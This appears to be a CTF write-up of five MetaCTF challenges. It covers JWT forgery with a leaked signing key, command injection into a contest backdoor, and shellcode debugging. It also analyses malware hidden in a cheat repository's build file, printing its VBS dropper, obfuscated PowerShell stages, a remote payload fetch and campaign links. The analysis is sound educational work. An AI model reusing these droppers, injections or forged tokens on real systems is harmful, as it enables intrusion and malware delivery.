I placed first in the January 2025 MetaCTF Flash CTF, with 45 minutes to spare.. Let's see how I did it!

Cooked Books

Rows looked like this:

Title,Author,Times Borrowed,Avg Rating
To Kill a Mockingbird,Harper Lee,77,4.26
1984,George Orwell,101,4.2

The "Times Borrowed" was ASCII that decoded to the flag.

Flag: MetaCTF{1nf0rm4ti0n_1s_p0w3r}

Trading Places

When logging in with guest:guest, the server sends a header:

jwt: jwt_z3bXPravDcYhjy5mhYgYLbWRoAPkPyn
You can see this is used to sign the JWT in the source code:

const token = new TextEncoder().encode(response.headers.get("jwt"));
const jwt = await new SignJWT({ sub: user })
    .setProtectedHeader({ alg: "HS256" })
    .setIssuedAt()
    .setExpirationTime("2h")
    .sign(token);
document.cookie = "jwt=" + jwt;
window.location.href = "/dashboard";

Sign a HS256 token with sub: admin and get the flag.

Flag: MetaCTF{cli3nt_s1d3_crypt0graph1c5}

Rear Hatch

The source code shows that when marking the request completed, it runs system() on the string at an offset of 6 if it starts with a certain 5-character string:

void markRequestCompleted() {
    int id;
    printf("Enter the ID of the request to mark as completed: ");
    scanf("%d", &id);
    for (int i = 0; i < requestCount; i++) {
        if (requests[i].id == id && (strncmp((char *)requests+i*264+4,"\x65\x78\x65\x63\x3a",5)==0?system((char *)requests+i*264+9),1:1)) {
            requests[i].isCompleted = 1;
            saveRequests();
            printf("Request marked as completed.\n");
            return;
        }
    }
    printf("Request with ID %d not found.\n", id);
    return;
}

That 5-letter string decodes to exec:. So, create exec:ls to list the files:

$ nc kubenode.mctf.io 30014
No existing data file found. Starting fresh.

=== Maintenance Schedule Management ===
1. Add Maintenance Request
2. View Maintenance Requests
3. Delete Maintenance Request
4. Mark Request as Completed
5. Exit
=======================================
Enter your choice: 1
Enter description for the maintenance request: exec:ls
Request added successfully.
....
Enter your choice: 4
Enter the ID of the request to mark as completed: 1
flag.txt
run
Request marked as completed.

Then run cat flag.txt to get the flag:

Enter your choice: 1
Enter description for the maintenance request: exec:cat flag.txt
Request added successfully.
...
Enter your choice: 4
Enter the ID of the request to mark as completed: 2
MetaCTF{4lw4ys_r34d_4ll_7h3_c0d3}Request marked as completed.

Flag: MetaCTF{4lw4ys_r34d_4ll_7h3_c0d3}

I Heard You Liked Loaders

The loader loads some shellcode into memory and calls it.

I debugged this shellcode using gdb-peda with something like this:

gdb-peda$ b *main+770   - break before call
gdb-peda$ r             - run
gdb-peda$ s             - step
gdb-peda$ s             - step

The shellcode checks if you are root, then decrypts the next phase of the shellcode.
I didn't wanna install gdb-peda as root, so I just set RAX to 0 after the syscall and carried on. I also noticed it jumped to 0x7ffff7fbf050 so I broke there.
(Although for some reason the program crashed if you set the breakpoint too soon so I waited a little bit)

gdb-peda$ set $rax=0
gdb-peda$ bp *0x7ffff7fbf050

It cleared all the registers, then started a new shellcode, which I let run until return, and then searched for Meta:

gdb-peda$ find Meta
Searching for 'Meta' in: None ranges
Found 1 results, display max 1 items:
mapped : 0x7ffff7fbf095 --> 0x465443bb6174654d 
gdb-peda$ x/64s 0x7ffff7fbf095
0x7ffff7fbf095: "Meta\273CTF{\273m4de\273_l04\273d3r_\2734_ur\273_l0a\273d3r}H1۸<"

And there's the flag!
Flag: MetaCTF{m4de_l04d3r_4_ur_l0ad3r}

Whisper of the Pain

Checking the user's Brave history C/Users/IEUser/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/History leads us to this GitHub:
https://github.com/hannah1337/CyberValorant-Cheat-Visual-Aimbot-ESP

After cloning the repo, you notice a large batch script when searching around:

Eduty External/Valorant-External.vcxproj:      <Command>@echo off&#xD;&#xA;setlocal&#xD;&#xA;....cscript //nologo "%25a%25\b.vbs"&#xD;&#xA;endlocal</Command>

Upon decoding, removing the cscript call, and running it in my FlareVM, I got a .vbs file:

b = "JFIXXXXc0Mm"
c = "VdvQXXXXm5i"
d = "JwUjNXXXVOM"
e = b & d & c
Set f = CreateObject("MSXml2.DOMDocument.6.0").createElement("base64")
f.DataType = "bin.base64"
f.Text = e
g = f.NodeTypedValue
h = "aaa\i.ps1"
Set j = CreateObject("Scripting.FileSystemObject")
Set k = j.CreateTextFile(h, True)
k.Write l(g)
k.Close
Set m = CreateObject("WScript.Shell")
m.Run "powershell.exe -ExecutionPolicy Bypass -File " & h, 0, False
Function l(n)
Dim o, p
Set o = CreateObject("ADODB.Recordset")
p = LenB(n)
If p > 0 Then
o.Fields.Append "q", 201, p
o.Open
o.AddNew
o("q").AppendChunk n
o.Update
l = o("q").GetChunk(p)
Else
l = ""
End If
End Function

Removing the PowerShell call and running that in my FlareVM, I got a .ps1 file:

$R = "=wXXXXnZ"; $txt = $R.ToCharArray(); [array]::Reverse($txt); $bnb = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(-join $txt)); $exp = "Invoke-Expression"; New-Alias -Name pWN -Value $exp -Force; pWN $bnb

I reversed the base64 in $R and decoded it, and got another PowerShell script (as to be expected by the IEX call).

Running it without the Start-Process and going through Fiddler, I saw it make a few HTTP calls. They were all deleted or privated pastes from various pastebin sites.

One https://rlim.com/tJ7Iv5-8vA/raw stood out because it had REDACTED in it.

So, I visited it without the /raw, and saw a History button. It used to have some Base64 in it:

w4jCmMOWwpPDrsKpWVTCmsKywq.....OPU8K2d8K/w4HCj8KVwp/CqsKlwqtywqE=

Looking through the code, you see some decryption routines:

function d { 
    param ([string]$mm, [string]$k)
    try {
        $b = [System.Convert]::FromBase64String($mm);
        $s = [System.Text.Encoding]::UTF8.GetString($b);
        $d = New-Object char[] $s.Length;
        for ($i = 0; $i -lt $s.Length; $i++) {
            $c = $s[$i];
            $p = $k[$i % $k.Length];
            $d[$i] = [char]($c - $p)
        };
        return -join $d 
    } catch {
         throw 
    }
}

function v { 
    param ([string]$i)
    $b = [System.Convert]::FromBase64String($i);
    $s = [System.Text.Encoding]::UTF8.GetString($b);
    $c = $s -split ' ';
    $r = "";
    foreach ($x in $c) {
        $r += [char][int]$x
    };
    return $r
};

And a few calls (none of this is in any particular order):

$s = "NTAg....DUw";
$p = v -i $s;
# ....
$proc = "```$b#{o*%3I,};',W```"n~O@0";
$prooc = "&Er<E\9el>J`KE";
$d = d -mm $e -k $prooc;
$r = Invoke-RestMethod -Uri $d; if ($r) { $dl = d -mm $r -k $proc }


I decrypted the string and got another URL to a GitHub TTDReplay.7z. The password was in $p after a decryption: 227345637233742d704073737730726422.

I ran the .NET executable in there through de4dot and saw some code of interest:

// ns4.GClass3
public static string string_0 = "kxpp2h/dBYdEEY5NSXs4qGq+91pW6PsavDuNGg+u+IXLR0W2o0d5Cdg9OXc8qQ+i";
// ...
public static string string_2 = "${8',`d0}n,~@J;oZ\"9a";

Tracking these strings down, they were used in a MD5/AES-ECB decryption routine. I copied it into my own C# program:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApp3
{
    internal class Program
    {
        public static object smethod_1(string string_0)
        {
            RijndaelManaged rijndaelManaged = new RijndaelManaged();
            MD5CryptoServiceProvider md5CryptoServiceProvider = new MD5CryptoServiceProvider();
            object obj = "";
            try
            {
                byte[] array = new byte[32];
                byte[] array2 = md5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes("${8',`d0}n,~@J;oZ\"9a"));
                Array.Copy(array2, 0, array, 0, 16);
                Array.Copy(array2, 0, array, 15, 16);
                rijndaelManaged.Key = array;
                rijndaelManaged.Mode = CipherMode.ECB;
                ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor();
                byte[] array3 = Convert.FromBase64String(string_0);
                obj = Encoding.UTF8.GetString(cryptoTransform.TransformFinalBlock(array3, 0, array3.Length));
            }
            catch (Exception ex)
            {
            }
            return obj;
        }
        static void Main(string[] args)
        {
            Console.WriteLine(smethod_1("kxpp2h/dBYdEEY5NSXs4qGq+91pW6PsavDuNGg+u+IXLR0W2o0d5Cdg9OXc8qQ+i"));
        }
    }
}

Then I got a Pastebin link:
https://pastebin.com/raw/uyNtUu9p
This was the final solution to the challenge.
Flag: #MetaCTF{Curs3s_c0mE_h0me_T0_rO0sT}

MetaCTF January 2025 CTF Writeups